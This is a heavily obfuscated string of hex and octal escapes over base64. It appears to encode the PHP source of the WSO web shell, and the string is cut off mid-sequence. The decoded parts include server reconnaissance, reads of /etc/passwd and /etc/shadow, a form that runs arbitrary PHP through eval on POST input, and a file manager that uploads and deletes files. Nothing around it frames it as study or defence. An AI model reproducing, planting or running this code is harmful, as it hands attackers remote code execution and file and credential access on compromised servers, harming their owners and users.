J\171\101\x70I\x44ogK\103gkcCAmID\x424\115DgwMC\x6bgPyA\156Uy\143gOiAnLScpKTsKCS\x52p\x49C49ICgoJHA\147JiAweDAwMjAp\111D8gJ\x33InIDo\147\112y0\x6eKT\163KC\123R\160IC49ICgoJHA\x67J\x69AweDAw\x4d\x54A\x70I\1048g\x4a3c\x6eID\157gJ\x790nKT\x73\x4bC\x53RpIC\0649ICgo\x4aHAgJ\x69\101weDAwM\x44gp\111\1048gKCgkc\103AmIDB4MDQwMC\x6bgPy\101ncycgOi\101neCcgKSA6\111CgoJ\110\101\147J\x69Aw\145DA0MDApID8gJ1MnIDogJy0n\x4bSk7Cgkka\x53\x41\165PSAoKCR\x77ICYgMHgw\115\x44A0K\x53A/ICdyJ\171A6\111CctJyk7CgkkaSAuPS\101oKC\122wI\x43Yg\115HgwMDAyKSA/ICd3JyA6ICctJyk7\x43gkkaSA\x75P\x53AoKCRw\111CY\147MHgwMDAxK\123A/ICg\x6fJH\101g\x4aiAwe\x44AyMD\101\160\x49D8g\x4a3Q\x6eI\x44ogJ3g\x6e\111Ckg\117iA\x6fKC\122w\111\103\x59g\x4dH\147wMjAwKSA/ICdUJ\x79A6ICctJyk\160\117w\x6f\112c\155\x560dXJu\111CRpOw\1609CgpmdW5jd\x47lvbiB3c29QZXJ\x74c\x30Nv\x62G\071yKC\122mKS\102\x37\103glpZiAoIUBpc19yZWFkY\x57JsZSg\153ZikpC\x67kJcmV0dXJuI\103c8Zm\071udC\x42jb2xvcj0jR\153Y\167MDA\x77\120icgLiB\063c29Q\x5aXJtcy\150\101Zm\154sZ\130Bl\x63m1zK\x43RmKSkg\114iAnP\1039mb250Pi\x637\x43gl\x6c\x62H\116laWYgKCFA\141XNfd3\x4apdGFibG\125oJ\107YpKQoJCXJldHVyb\x69AnPG\132\x76\142nQgY29sb3I9d2\150pdGU\x2b\x4ayAu\111\x48\144zb1B\154\143m1zKE\x42maWxlcGVybX\115o\x4a\x47YpKS\x41\165I\x43\x638L2Zvbn\x51\053\112z\x73KCWVsc\x32U\x4b\103Q\x6cyZXR1cm4gJzxmb250I\x47NvbG9yPSM\171\116WZmMDA\053JyAuIH\x64zb1B\154cm1z\x4bEBmaWxlcGVybXMo\112GYp\113SA\165ICc8L2Zvbn\121\x2b\x4az\x73K\x66\x51oKZ\156\126uY\063Rp\x6224gd3\116vU2NhbmR\160ci\x67kZ\107\154y\113SB7CiAgICBpZi\150m\144W5jdGlvbl9le\x47lzdHMoInNjYW5ka\x58IiKS\153g\x65wog\111CA\147\111\x43AgI\x48JldHVybiBzY2\106uZGly\113\x43Rka\x58I\x70OwogIC\x41gfSBl\x62HNlIHsKICAgICAg\x49CA\153\132Gg\147ID0\x67\x623B\x6cbmRpcigkZGlyKTsK\x49\x43AgIC\x41gI\103B3aGlsZSAoZ\x6dFs\x63\062UgIT\0609\x49Cg\153Zmls\132W5hbWUg\120\x53ByZWFkZ\x47lyK\x43RkaCk\x70KQ\157gICAgICAgIC\101\x67I\x43AkZ\x6dlsZXNbXSA9\111CRmaWxlbmFt\132T\x73\x4bIC\x41gICAgIC\102yZ\130R1c\1554\147\112GZpb\x47VzOwog\111C\x41gfQp9\103gpmdW5\152d\107lvbiB3c29XaGljaCgkcCk\147\145woJJ\110BhdGggP\123B\063c2\x39F\x65Cgnd2hp\x592ggJyAuI\x43R\x77KTsKCWlmKC\106lbXB\x30eSgk\x63GF0\x61Ckp\x43gkJ\x63mV0dX\112uICR\x77YXRoO\x77oJcm\x56\x30d\x58JuIGZ\150bHNlO\167p9CgpmdW\065\152d\107lv\x62iBhY3Rpb25TZWNJ\142\155ZvKCkgew\157\x4ad3N\166S\107V\150\x5aG\x56yKCk\x37Cgl\x6cY\062hvICc8aD\105+U\x32VydmVyIH\x4e\x6cY3Vy\141X\1225IGluZm9ybWF0aW9uPC9\x6f\115T48Z\x47l2I\x47\x4esYXNzPW\x4evbnRlb\x6eQ+J\x7as\113CWZ1\142m\1160aW\x39uIHdzb1NlY1\102\150\x63mFt\x4b\103Ru\x4cCAkdikgew\x6fJCS\1222ID0gdHJp\142Sgkdik7Cgk\112aWYoJHYp\111H\163KC\x51kJZ\x57NobyAnPHNwYW\x34+JyAuI\x43R\x75IC4\147Jzo\147PC9zc\107FuPic7\x43gk\112CWlmKHN0\x63n\102vcygkdiwg\x49lxuIikgPT09\111GZh\142HNlKQoJC\121\153JZWNobyAkdi\101uICc\x38Y\156I+JzsKCQkJZWxz\132QoJCQkJZW\x4eob\171AnPHByZ\x53BjbGFzcz1tbD\105+J\171AuICR2IC4gJ\172wvc\110JlPic7Cg\x6bJ\146QoJ\146Qo\x4b\103Xd\x7ab\061\x4elY\061Bhcm\106t\113CdTZ\x58J2ZXIgc29mdH\x64\150\143\x6dUnLCBAZ2V0ZW52\x4bC\144TRVJWRVJfU0\x39\x47VF\x64BUkUnKSk7CiAgICBpZihmdW\065j\144Glvbl9\154eGlzdHM\157\112\062FwYWNoZV9\x6eZXRfb\1279\x6bdWxl\143ycpKQogICAgICAgIHdzb1NlY\061BhcmFtKC\x64M\x622FkZWQgQ\130BhY2\150\x6cIG1vZH\x56sZXM\156\x4cC\102p\142XBs\x62\062\122lKC\x63\x73I\x43cs\x49G\106wYWNoZV9nZXRfbW\x39k\x64Wxlc\x79g\160KSk\x37Cgl3c2\x39T\132WN\x51YXJhb\123gnRGlzYWJsZWQ\x67UE\x68\x51IE\1321bmN0aW\071ucyc\x73ICRH\x54E9CQUx\x54\x57ydkaXNh\131\155x\154X2Z1b\x6dN0\141W\x39u\143ydd\x50yRHTE9CQUxTWydkaX\x4ehYm\x78l\x582Z\x31\x62\155N0a\1279u\x63y\x64dOi\x64u\14225\x6cJ\171k7\x43gl3\x6329\124Z\x57NQYXJhbSgnT3BlbiBi\131X\x4el\x49GRpc\151c\163I\x45BpbmlfZ2V0KCdvcG\x56u\1302Jhc2Vk\x61XInKSk7Cgl\063c\x329TZ\x57NQYXJhbS\147nU2FmZSB\x74b\x32RlIG\1264ZWMgZ\107lyJywgQGlu\141V9nZ\130\x51\157J3NhZ\155V\146b\x579\153Z\1269leGVjX2Rp\x63icpKTsKCXd\172b1N\x6cY1B\x68cm\106tKCd\x54YW\x5al\111G\x31vZGUgaW\x35jb\110VkZSBkaXI\156LCBAa\1275pX2d\x6cd\103gnc2FmZV\071\x74b2R\154X\062\x6cuY2x\x31Z\107VfZG\x6cyJyk\x70OwoJd3NvU2V\x6aUGFyYW0oJ2N\126\x55kw\147c3Vwc\x47\071ydCcsIG\x5a1bm\x4e0aW\071u\x582V4\141XN0\x63y\147nY3Vyb\10692\132\130\112z\x61W9uJyk/J\062VuYWJsZWQnOi\144u\x62ycpOwoJJHR\154bX\1019YX\x4ayYXkoKTsKCWlmKGZ1bmN\060aW9\165X2\1264a\x58N0\x63y\147nbX\x6cz\143\127\x78fZ\062V0X2Nsa\127\x56udF\x39\x70bmZ\166JykpCgkJ\112HRl\142XB\x62XS\x419ICJNeVNxbCAoIi5t\145X\x4e\170b\x469nZXR\146Y2xpZ\x57\x350X2luZm8oKS4iKSI\x37Cgl\x70Z\151hm\x64W5jdGlvbl9leGlzdHMoJ\062\061z\143\063FsX2Nvbm\x35lY3QnKSkKCQkkdGV\x74c\106tdI\1040g\111k\x31TU1FMIj\163K\x43W\x6cmKGZ1\x62mN0\x61W\071uX2V4aX\x4e0cygncGdfY29ub\155VjdCcpK\121o\x4aCS\x52\x30ZW1w\12710gPS\x41iUG9zdGd\x79ZVNRT\x43I7Cg\x6c\x70\x5aihm\144W5jdGlvbl\071le\x47lzd\110MoJ2\071jaV9jb25\x75ZWN\060JykpC\x67\153JJHRl\142XBbXSA9\x49C\112PcmFj\142GUiOwoJd\063NvU\x32VjUGFyYW0\157J1N1c\x48BvcnRl\x5aC\x42kY\130\122hYmFzZ\130MnLC\x42pbXBsb\x32RlKCcsICc\163\111CR0ZW1wKSk\x37Cgl\x6c\131\062hvICc8YnI+Jz\x73K\103glpZig\x6b\1220x\120QkFMU1sn\x623M\x6eXSA9P\x53Anb\155l4Jyk\147ewog\111CAg\111CA\x67IC\101gIC\1023\x6329T\x5aWN\121YXJh\142Sgn\x55mVhZGFib\x47UgL2\126\060Yy9\x77YXN\x7ad2QnLCBAa\x58\116fcmVhZGFib\x47\x55oJ\1719ldGMv\143GF\x7ac3\144kJyk\x2fIn\x6clcy\x418YSBocmVm\x50ScjJyBvb\x6d\x4esaWNrPSdnKFwiRmlsZ\x58NUb2\071sc\061wiLCBc\x49i9ld\107MvXCI\163I\x46wicG\x46zc\063d\x6bXC\x49pJz5bdml\x6cd108\x4c2E\x2bIj\157nbm8nK\x54sKICAgI\103Ag\x49CAgICAgd3NvU2Vj\x55GF\171\131W0o\x4a1JlY\x57R\150\131\x6d\170lIC\x39\x6c\144GMvc2hhZG93Jyw\147QGlzX3JlYWRhYm\x78lKCc\x76ZXRjL3NoYWR\x76dycpPyJ5ZX\x4dgP\x47Eg\141HJ\154Zj0nIyc\147\x6225j\x62Gl\152\141z0\156\x5ayhcIkZpbGVz\126G\071\x76bHNcIiwgXC\x49v\132XRjL1wiLCBcI\156NoY\127Rvd1wiKS\x63+W3Zp\132XddP\x439hP\151\x496J2\x35\166Jyk7CiAgICAg\x49CAg\x49\x43AgIHdz\1421NlY1Bhc\x6dFt\x4bCdPUyB2ZXJzaW\x39\165JywgQGZpbGVfZ2V0X2\x4evbnRlbnRzKCcvcHJvYy92\132XJzaW9uJ\x79kpOwo\147\111CAgICAgICA\x67\x49CB3\14329TZW\x4eQYXJhbSgnR\x47\154zdHIgbm\x46tZ\x53csIEBmaW\170l\1302dld\x469\x6ab2\x350\132W50c\171gn\1142V\060Yy9pc\x33N1ZS\065u\132XQnKSk\x37C\151\x41gICAgIC\x41gICAgIGl\155KCEkR0\x78PQkFM\x551s\156\x63\062F\155ZV\071\164b2RlJ10pI\110s\113ICAgICAg\111CAgI\103Ag\111C\x41\147\111\x43R\061\x632VyZnVsID0gYXJyYXkoJ2\144jYycsJ2\x78jYycsJ\x32NjJywn\142GQnL\x43\x64tYWtlJyw\x6e\x63GhwJyw\156c\x47V\x79bCcsJ3B5dG\x68v\142icsJ3J1YnknLCd0\131XIn\x4cCdn\x65mlwJy\167nYnpp\143Cc\x73J2J6\x61XAy\112yw\x6ebmMnL\103dsb2NhdGUnLCdzdWlk\x63GVybCcpOw\x6fgI\x43AgICAgIC\x41gIC\x41gICAgJGRh\x62mdlciA9IGF\171cmF5K\103\x64r\x59\130YnLC\144u\1422\121z\x4dicsJ2J\x6b\131\x329yZWQnLCd1dnNjYW4nLCdzYXYnLCd\153cn\x64\x6cYmQnL\103d\x6a\x62GFtZ\103csJ3JraHVu\144GVyJy\167\156Y2hrc\1559vdGtpdCcs\x4a2lwdGFi\x62\x47VzJywnaXBmdycsJ3Ry\141XB3\141X\112\154Jywnc\x32hpZWxkY2\x4dnLCdwb3J0c2Vu\x64HJ5J\171wn\x6325vcnQn\x4cCdvc3N\154YycsJ2x\x70ZHNhZG0nLCd0Y\063Bsb\062RnJywnc\x33hpZC\x63s\x4a2xvZ\x32NoZWNrJy\167n\x62\x479nd2F0Y\062gnLCdzeXNtYXNr\112ywn\145m1i\1432NhcCcsJ3\x4ehd21\160bG\167\156LCd3b3\x4atc\x32NhbicsJ25pb\x6dp\150Jyk7C\151AgICAgIC\101gICAgICAgICA\153\x5aG\0713bmxvYWRlcnMgP\x53BhcnJheS\x67nd2d\154dCcsJ2Z\154d\x47NoJyw\x6ebHlueC\x63sJ2xpbmt\x7aJ\x79w\x6eY3\126y\x62C\x63sJ2dl\144CcsJ\x32x\x33\x63C1t\141XJyb3InKTsKICAg\x49\x43\101g\x49CAgICAgIC\x41gIGVja\1078gJ\172xicj4nOwogIC\x41\147ICAgICAgICAg\x49C\x41gJHR\154b\130A\x39YXJy\x59Xk\157\113TsKICAg\111CAgICAgICAgI\x43Ag\x49GZ\x76c\x6dVhY2ggK\103\1221c\062\126\171ZnVsIGFzICRpdGV\164K\x51\x6fg\x49\x43A\147ICAgI\x43A\147\x49CAgICA\147ICAg\111Glm\113\x48dzb\x31doaWNo\x4b\x43RpdGVtKSkKICAgICAgICAgICAgICAgIC\101gIC\x41gICAgJH\122l\x62XBbXS\x419ICRpd\107\126\164OwogICA\x67ICAgICA\x67ICAgICAgd\063NvU\062VjUGFyYW0oJ1\x56zZXJmdWwnLCBpbXBsb2RlKCcsICc\163J\110\x52l\142\x58ApKTsK\x49\103AgICAgI\x43Ag\111\103Ag\111CAg\111CR0ZW1wPW\x46yc\155F5KCk7CiAg\111CAgICAg\111CAgICAgICBmb3J\x6cYWNo\111\x43\147kZG\106u\1322V\171I\x47Fz\x49\x43Rpd\107VtKQo\x67ICAg\x49CA\147ICAgI\x43A\147ICA\147IC\101gI\x47l\155KH\144zb1doaWNoKCR\x70d\x47V\x74KSk\113ICA\x67\111CAgICAgIC\x41gICAgICAgICAg\x49CAgJHRlb\x58BbXSA9ICRpdG\126tOwogIC\101gICAgIC\101g\x49\103\101gICAgd\063Nv\1252\126jUGFyYW0oJ0\x52hbmdl\x63icsIG\x6ct\143GxvZGUo\112yw\x67Jywkd\x47\x56tc\103kpO\167ogI\x43AgI\103\101gI\103\x41gICAgICAgJ\x48RlbX\1019YXJyYXk\157K\x54sKI\103AgICAg\111C\x41gICAgICAg\111GZvc\155VhY\062\x67gK\x43Rk\1423dubG9hZ\x47Vyc\x79\x42hcyAkaX\x52l\x62SkKICA\x67ICAgICAgICA\147ICAgICA\x67I\103BpZih3c2\071XaGljaCg\x6baXRlbSkpCi\x41gICAgICA\147ICAg\x49C\x41g\111C\101gICA\x67I\x43\x41gICR0ZW\x31\167W\x31\060gPSAkaXRlbTsK\111CAg\111CA\x67ICAgICA\147ICAgI\110dzb1NlY1Bhc\x6dFtK\x43dEb3dubG\071\150Z\107Vycy\x63s\x49GltcGxv\x5aGUoJywgJy\x77k\144\x47VtcCkpOw\x6f\147IC\101gICAgICAgIC\x41g\111CAg\x5aW\x4eobyAnPGJ\x79Lz4\x6eOwog\x49CAgICA\x67ICAgIC\x41\x67ICA\147d3NvU2VjU\107FyYW0oJ0\x68ERCBzc\x47Fj\x5aScsIHdzb0V4KCdk\132iAtaCcpKTsKICA\147\111CAgICAgI\x43AgI\103A\147IHdzb1NlY\061B\x68\x63mFtKC\x64Ib3\1160cycsIEBmaWxlX2dldF9jb250ZW50cygnL\x32V0Yy9ob3N0cy\x63\160K\x54s\113ICAgICAgICAg\111C\x41gICAgIGVjaG8gJzxi\x63i8\053PHNwYW\x34+cG9zaXhf\x5a2\x560cHd1aWQgKCJSZWFkIiAv\x5aXRjL\x33Bhc\x33N\x33Z\103k8\1143NwY\x574+P\110R\x68Y\x6dxlPjxmb3JtIG9uc\063VibWl0PVwnZyhudWxsLG51\x62GwsIjUiLH\x52oaXMucGFyYW0xLnZhbHVlLHRoa\x58Mu\x63GFy\x59W0yLnZ\x68bH\x56lKTtyZXR1\x63m4gZ\x6d\106sc\x32\x557XCc\x2b\x50HRyP\152x0ZD5Gcm9t\120C\0710ZD\x34\070\144GQ\053\x50Glu\143HV0IHR\065cGU9dGV4d\103BuY\x57\061lPXB\150cmF\x74\x4dSB2YWx1ZT0wPjwv\144G\121+P\x43\x390cj4\070dHI+\x50\110R\x6bPlRvP\x439\060Z\x4448dG\x51+PGluc\110V0IHR5cGU9dGV\064\144\103B\x75YW1lPXBh\x63mF\x74Mi\1022YWx\x31ZT0xMDAwPjwvdGQ+P\103\0710\x63j48L3RhYmxlPjxpbnB1\144\x43\1020e\x58\x42l\120XN1Ym1pdCB\x32YWx1\x5a\x540iPj4\x69Pjw\166Zm9y\142T4nOwo\x67ICAgICAgI\103AgICAgICAgaWY\147KGlzc\x32V0ICg\153\x581BPU1RbJ3\x41yJ\x310sI\103RfU\x459TVFsnc\104MnXSkgJiYgaXN\x66bn\126tZXJ\160Y\x79gkX1BPU\061RbJ3AyJ10\x70I\103\131\x6d\x49G\x6czX\x3251\142\x57VyaWM\157JF9QT\x31NUWy\x64wMyd\144KSkgewo\x67IC\101gI\103\101gICAgICAgICAg\x49C\x41gICR0ZW1\x77ID0\x67IiI7\103\151\x41\147\x49\103Ag\x49CAgI\103A\147ICA\147I\x43AgICAgZm9\x79KDskX1BPU1Rb\1123\x41yJ10gP\1040gJ\x469QT1\x4eUWydwM\171dd\117yRfU\x459\124VFsncDInXS\x73r\x4bSB\x37C\x69AgIC\101gI\103AgIC\x41gICAgI\103Ag\111C\x41gIC\x41gI\x43R1a\127QgPSBAcG9\x7aa\x58\150fZ2\1260cHd1\x61WQoJF9QT1NU\x57\x79dwM\x69dd\x4bT\163KICAgICA\147ICAgICA\x67ICAgICAg\111CAgICAg\x61WYgKCR1aW\121pCiA\147ICAgIC\x41g\111C\101gI\103A\147ICA\x67ICAgICAgICAgICAkdGV\164cCAuP\123\102q\x622luK\x43c\x36\112ywkdWlkKS4iXG4\x69\117\x77o\147ICA\147I\x43AgIC\x41g\x49CAgICAgI\103AgIH0KIC\x41\147ICAgICAgICAgICA\147IC\101gICBlY2hvICc8Y\x6eIvP\151c7\x43iAgICAgICA\147ICA\x67ICAgICAgICAgd3N\x76\x55\x32VjUGFyYW0oJ1VzZXJzJyw\x67JHRlbXAp\117\167\157g\111\103\x41gICAgI\103Ag\111C\x41\147\x49CA\x67fQo\147I\103A\x67\x49C\x41gI\103Ag\111CB9\x43gl\x39IGVs\1432Ugew\157JC\130\144\x7ab1NlY\061Bhc\x6d\x46tKCdPUyB\127\x5aXJzaW9uJyx3\14329F\x65Cg\156dmVyJykpOwo\x4aCXd\172b1N\154Y1Bhc\155FtK\x43dBY2Nv\x64W50IF\116l\x64\110Rpbm\144\172Jyx\063\x63\x32\071\106e\x43gnb\155V0IG\106\152Y291\x62\156\x52zJ\171\153\160Ow\x6fJCXdzb1NlY1BhcmFtKCdV\1432VyIEFjY291bnRzJy\x78\063\x6329F\x65Cgnb\155\1260IH\126zZ\130In\113Sk7\103g\x6c9C\147llY2\x68vICc\x38\x4c2R\160dj4nOwo\x4ad\x33NvRm\x39v\144GVy\113\x43k\x37Cn0KCmZ1bmN0aW9uIGFjd\x47l\x76b\x6cBoc\103gpIHsKCWlmKG\x6cz\x632V0K\x43RfUE9TVFsnYWpheCd\x64KSkgewogICAgICAgIF\144TT3\x4eldGNvb2tpZSh\164ZD\x55\x6fJF\071T\122VJWRV\112bJ0hUVFBfSE9TVCddK\x53A\165\x49CdhamF4\112y\x77gd\x48J1ZSk7CgkJb2Jfc3Rh\143\x6eQoK\x54sK\103Ql\x6cdm\106\x73KC\x52fUE9\124VFs\x6ec\x44\105nXS\x6b7CgkJJHRl\142XAgPSAiZ\1079\x6adW\061l\x62n\121uZ2\1260RWxl\x62WVudE\1125SWQoJ1BocE91d\110B\x31dCcpLnN0eWxlL\x6dR\160c\063\102sYX\x6b9\112\x79\1437ZG9jdW1lbnQuZ2\x560\122Wx\154bWVu\144EJ5SW\x51oJ1\102\157cE91dHB1dCcpLmlubm\x56y\123FRNT\1040n\111\151Au\111GFkZGNzbGF\x7aaGVz\x4bGh0\x62\127xzcGVjaWFsY2hhc\156Mo\1422\112f\1322\x560X2N\163ZWFuKCkpLCAi\x58G5\143c\x6cx0XFwnXDAiKSAu\x49CInO1xu\x49jsKCQll\1312hvIH\1160\x63mxlbigkdG\126tcCksIC\112cb\151I\x73ICR0ZW1\x77Owo\x4aCWV4aXQ7Cg\1549CiAgICBp\x5ai\150l\x62X\1020e\123gkX1BPU\x31\122\x62J2FqYXgnX\x53k\x67Ji\131\x67IWVtcHR5\113C\122fUE9TVF\x73ncDE\x6eXSkp\103iA\x67\x49CAgICAgV1\116Pc\062V0Y29v\x612\x6c\x6c\113G1\x6bNSgk\1301NFU\154ZFUlsnSFRUU\x46\071I\x54\061NUJ1\060pIC\064gJ2FqYXgnLCAw\x4bTsK\103\x67l\x33c29\x49ZW\106k\132X\x49oK\124sKCWlmK\x47lzc\x32V0\113CR\146\125E9TVFs\x6ec\x44\x49nXSk\147JiYg\113CRfU\1059TVFs\x6e\x63DInXSA\071PSAnaW5mb\x79cpKSB7Cgk\112ZWNobyAnPG\x67\170PlBIUCBpbmZvPC9\x6fM\12448ZG\x6c2\x49G\116sYXNzPW\116vb\156RlbnQ\x2bPHN0eWxlPi\065wI\110t\152b\x32\170v\143\x6a\x6fj\x4d\104AwO30\070L3N\060eW\x78lPic\067CgkJb2\x4a\x66\x633Rhcn\x51\157K\x54sK\x43QlwaHBp\142mZvKCk7Cg\x6bJJ\110R\x74cCA9IG\071iX2d\x6cdF\x39\x6ab\x47Vhb\151gpOwogIC\101gICAgIC\1220bXAg\x50SBwcmVnX\063\112lc\x47xhY2UoYXJ\171YXk\x67K\x41ogIC\101\147ICAg\x49CAgICAn\111Sh\151b\x32R5fGE6XHcrf\x47\x4av\132HksIHRkLCB0aC\167gaDEsIG\x67y\x4bSB7\x4c\151p9I\x571za\x56Un\114AogICAg\x49CAg\x49CA\147ICAnIXRk\114\x43B0aCB\x37KC4q\113\1300h\x62XNpVScsCiA\147ICAgICAgICAgI\103chPGl\164Z1te\120l0\162PiFtc2lVJ\x79wKI\x43\x41\x67I\x43AgICAp\x4cCBhcnJhe\x53AoCiAgICAgICAg\111CAg\x49C\x63nLAogIC\101gICA\x67I\103\x41gI\x43AnLmUsI\103\x352LCAuaCwgLmgg\x64Ggge\171QxfSc\x73\x43i\x41gICA\147IC\101gICA\x67ICcn\103iA\147\x49CAgICAg\113Sw\x67JH\122tc\103k7CgkJZWNobyBzd\x48Jf\x63\x6dVwb\x47F\x6aZSgn\x50GgxJyw\x6ePG\147\171JywgJHRtcCk\x67Lic8L\062\x52p\144j\x34\x38YnI\x2bJ\x7asK\103X0KICAgIGV\x6aaG8gJzxoM\x545FeG\x56j\x64\x58Rpb2\064\147UEh\x51LW\116\166ZGU8L2g\170Pjx\x6baXY\147Y2\x78hc3\x4d\071Y29u\x64GVudD\x34\070Zm9ybS\102\x75\131\127\061\x6c\x50X\102\x6dIG1\x6c\x64Ghv\132D1wb3\x4e0IG9uc3V\151bWl0\120SJpZih0aGlzLmFq\131\130guY2hl\131\x32tlZ\103l\x37\x59ShcJ1B\x6fcFwnL\x4751bGwsdGhpcy5jb\062R\x6cLnZhbHV\x6cKTt9\x5aWxzZX\x74nKFwnU\x47hwXCc\163\x62nVsb\x43\x780aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJl\x64HVybiB\155Y\x57x\x7aZTsiPj\x780ZXh0YXJlYS\x42uYW1lPW\116vZGUgY2xhc\063M9\x59mln\x59XJlYS\102\x70ZD\x31QaH\x42D\x622RlPicuKCFlbXB0e\x53gkX1\102P\x551\x52b\x4a3\x41\170J10pP2\150\060bWxzcG\126\x6aaWFs\x592hhcnM\x6fJF9QT1\x4e\x55\x57ydwMS\x64dK\124onJyk\x75Jz\167vd\x47V4dG\106yZ\127E\x2bP\x47lucHV0IHR5\x63G\x559c\x33Vi\x62W\x6c\x30I\x48ZhbHVlPUV2Y\x57wg\1433\x525bG\1259I\x6d1\x68cmdpbi10b3A6NXB4Ij4n\x4fw\157J\132WNobyAnIDxpbnB\x31dCB0eX\x42\154PWNoZWNrYm94I\x475h\142WU\071Y\127\160heCB2\x59W\x781ZT0xICcuKC\x52\x66\x51\x30\x39PS0l\x46W21kNSgkX1NF\x55lZFUls\x6eSFR\125U\x469IT1\116UJ10p\114i\144hamF4J10\x2fJ2NoZWNrZWQ\156\x4fic\x6eKS4nPiBz\132\1275\153\x49HV\172\141W5\156IEF\113QVg8L2Zv\143m0+PHB\171ZSBpZD1QaHBP\144X\122wd\130Qgc3R\065\142G\1259\111icuKG\126tcH\1225\113\103R\146\125E9\x54VFsn\x63\104\105nXSk/\1122R\x70c\x33B\163YXk6bm9uZT\x73\156OicnKS\064n\x62W\x46yZ2luL\x58RvcD\x6f1cHg7\x49\151B\152bGFzcz1tbDE\053J\172sKCWlmKCF\154bXB0eSgk\130\x31BPU1RbJ3\101xJ\061\x30pKSB7Cgk\112b\x32Jfc3RhcnQoKTsKCQl\154dmFsKCRfU\x459T\x56Fsnc\104EnXSk7\x43g\x6bJZ\127\116obyBo\144G1sc3B\x6cY2lh\142GNoYXJz\x4b\x479iX\062dl\144F9jb\x47VhbigpKTsKCX0KCWV\152aG8gJ\172w\166cHJlPjwvZGl2Pi\x637Cg\1543c\x329Gb290ZXIoKTsKfQo\113ZnVuY3R\160b24gYWN\x30aW9uRmlsZXNNYW4o\x4bS\1027\103i\x41\x67\x49CB\x70Z\151A\x6fIWVt\143H\x525ICg\x6bX0NP\x54\x30tJ\x52Vs\156ZiddKSk\113ICA\147ICA\147I\103AkX0\116PT\060t\x4aRVsn\132id\144ID\060gQHVuc2V\171aW\x46saXplKC\x52fQ09PS0lFWydm\x4a10pOwogI\103AgCglpZigh\132\x571wdHkoJF9QT\061NUWyd\x77\x4dSddKS\x6bgewoJ\x43XN3aXRja\103\x67kX1BP\x551RbJ3AxJ10p\x49HsK\x43QkJY2F\x7aZSA\x6edXBsb2FkRmls\132Sc\x36CgkJC\x51lp\x5a\x69\147hQG1\x76dmV\146\x64XBs\1422FkZWR\x66ZmlsZSgk\x580ZJT\x45\x56T\127ydmJ\061\061b\x4a3R\164cF9uY\1271lJ10s\x49CR\146\122klMR\126NbJ2\131nXVsnb\x6d\106\x74ZSddKS\153KCQ\153JCQllY2hvI\x43\112DYW\064ndCB1c\x47xvYWQgZmlsZSEiOwoJCQkJ\x59nJlYW\1637C\x67kJCWNh\x632UgJ21\x72ZG\x6c\171\x4az\157K\x43\x51k\x4a\x43Wl\155KCFAbWtkaX\111oJF9QT1\x4eU\127y\x64wM\x69ddKS\x6bK\x43QkJCQ\x6clY\062hvICJD\131W\064\x6e\144CBjc\x6dVh\144G\x55gbmV3IG\x52pc\151I7CgkJCQlicm\126haz\163KCQkJY2FzZSA\x6eZGVsZ\130\x52lJzoKCQkJCWZ1b\155N0aW9\x75IG\122l\x62GV0ZURpcigk\x63G\x46\060a\103kge\x77oJCQkJC\123\122\167\x59XRoID0gKHN1\131nN0c\151gkc\107F0aCwtMSk\071PS\x63\166Jy\153g\x50y\x41kcGF0aDok\143GF0a\1034nLyc7Cgk\x4aCQkJJG\122oICA9IG9w\x5aW5kaXI\x6fJHBhd\x47gpOwoJC\121kJCXd\157aWx\x6cI\103ggKCRpd\x47VtI\x440\x67cm\126hZGRpc\x69gkZ\107gpICkgI\x5409I\107Z\x68bHNlKSB7CgkJCQkJCS\122pdGVt\111D0gJHBh\x64G\147uJGl0ZW\x307Cgk\x4aC\121kJCWlm\111Cg\147KGJh\143\x32VuYW1\154KCRpd\107VtKSA9P\x53\x41iLi4iKSB8\x66\103AoY\155Fz\132W\x35\150bWUoJ\x47l0ZW\060p\111D\x30\x39ICIuIi\x6bgKQ\157JCQkJCQkJY29u\144Gl\165dWU7Cg\x6bJC\x51kJCSR\060e\130BlI\104\060gZmlsZXR5c\x47\x55oJGl0ZW0pOw\157\x4aCQkJCQl\160\132iAoJHR\065cG\125gPT0gImR\160\143\x69Ip\103gkJC\121kJCQlkZ\127x\154dG\126E\141\x58I\157JGl0ZW0p\x4f\167o\x4a\103QkJCQllbH\x4elCgkJCQk\112C\x51lAdW5saW\065r\x4bC\x52pd\x47V\164KTsK\x43QkJ\x43Ql9\103\x67k\x4aCQ\153JY2xvc2\x56kaXIoJGRoK\x54sK\x43QkJCQ\154\101cm1kaXIoJHBhd\107gp\x4fwoJ\103Qk\x4afQoJCQkJaWYoa\x58\x4ef\131XJyYXkoQC\x52f\x55E9TVFsnZiddK\x53kKC\x51kJCQlm\x623J\x6cYWNoK\103RfUE9TVF\163nZi\x64dIGF\172ICRmKSB\x37CiA\x67ICAgIC\101g\111C\x41gI\103AgICAgI\x43AgICAgIG\154m\113C\122mID09I\x43cu\114icpCi\x41gI\103A\147I\103AgICAgICAgICAgICAgICAgIC\101\147I\103Bjb250\141W51ZTsKCQkJC\x51kJJ\x47\131gPSB1cmxkZWN\166ZGUoJG\x59\x70OwoJCQkJC\121lp\x5aihpc19k\141XIoJG\131\160KQoJ\103QkJ\x43Qk\x4aZGVsZ\130RlRG\154yKC\122mK\124sKC\x51kJCQkJ\132W\170zZQoJCQkJ\103Q\153JQHVub\107lu\x61yg\153Z\151\1537Cg\x6bJCQkJfQ\x6f\x4a\x43Q\153JYn\112lY\127s7Cg\x6bJCWNh\x632UgJ\063Bhc3RlJzoKC\121\x6bJC\x57lmKCRfQ09PS0lFWydhY3\x51nX\123\x419PS\101nY29weSc\x70IHs\x4bC\121kJ\x43QlmdW5\x6adGlvb\x69Bjb3B\x35X3Bhc3\122l\x4bCR\x6aL\x43RzLCRkKXsK\103\x51kJCQk\x4a\141WY\157aXNfZGly\x4bCRjLi\x52zKSl7Cgk\x4aC\x51kJC\x51lt\x612Rp\143\x69\147kZ\1034k\143y\1537CgkJCQ\153JCQkkaCA9IEBvcGVuZGlyKC\x52jL\151\x52zKTsKCQk\112\103QkJC\x58d\157aW\170lIC\x67o\112GY\x67PSB\101cmVh\132GRpcigkaCkpICE\x39PS\x42mYW\170z\x5aSkKCQkJCQ\x6bJCQlpZiAoKCRmICE\071ICIuIikgY\x575\153ICg\153Zi\101hPSAiLi4iKSkKCQkJCQkJCQkJY29weV\x39w\x59XN0\132SgkYy4k\143\x794n\x4cy\143sJ\x47Y\x73ICRk\114iRzLicvJyk7\x43gkJC\121kJCX\x30gZWxz\132\x57lmKG\x6c\x7a\x58\062\x5apb\x47\125oJ\x47Mu\x4aHMpKQoJ\103QkJ\x43Qk\112\121GN\x76cH\x6boJGMu\112\110MsICRk\114iRzKTsKCQkJCQl9CgkJCQkJZm9\171Z